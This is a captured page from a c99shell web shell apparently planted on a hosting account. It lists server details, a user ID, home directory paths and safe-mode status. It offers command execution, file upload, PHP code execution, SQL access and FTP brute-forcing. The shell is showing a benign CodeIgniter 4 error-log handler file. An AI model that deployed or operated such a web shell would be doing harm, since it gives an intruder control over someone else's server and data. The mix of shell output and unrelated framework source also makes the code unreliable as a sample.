smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Log/Handlers/   drwxr-xr-x
Free 3429.61 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ErrorlogHandler.php (2.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Log\Handlers;

use 
CodeIgniter\Log\Exceptions\LogException;

/**
 * Log handler that writes to PHP's `error_log()`
 */
class ErrorlogHandler extends BaseHandler
{
    
/**
     * Message is sent to PHP's system logger, using the Operating System's
     * system logging mechanism or a file, depending on what the error_log
     * configuration directive is set to.
     */
    
public const TYPE_OS 0;

    
/**
     * Message is sent directly to the SAPI logging handler.
     */
    
public const TYPE_SAPI 4;

    
/**
     * Says where the error should go. Currently supported are
     * 0 (`TYPE_OS`) and 4 (`TYPE_SAPI`).
     *
     * @var int
     */
    
protected $messageType 0;

    
/**
     * Constructor.
     *
     * @param mixed[] $config
     */
    
public function __construct(array $config = [])
    {
        
parent::__construct($config);

        
$messageType $config['messageType'] ?? self::TYPE_OS;

        if (! 
is_int($messageType) || ! in_array($messageType, [self::TYPE_OSself::TYPE_SAPI], true)) {
            throw 
LogException::forInvalidMessageType(print_r($messageTypetrue));
        }

        
$this->messageType $messageType;
    }

    
/**
     * Handles logging the message.
     * If the handler returns false, then execution of handlers
     * will stop. Any handlers that have not run, yet, will not
     * be run.
     *
     * @param string $level
     * @param string $message
     */
    
public function handle($level$message): bool
    
{
        
$message strtoupper($level) . ' --> ' $message "\n";

        return 
$this->errorLog($message$this->messageType);
    }

    
/**
     * Extracted call to `error_log()` in order to be tested.
     *
     * @codeCoverageIgnore
     */
    
protected function errorLog(string $messageint $messageType): bool
    
{
        return 
error_log($message$messageType);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0146 ]--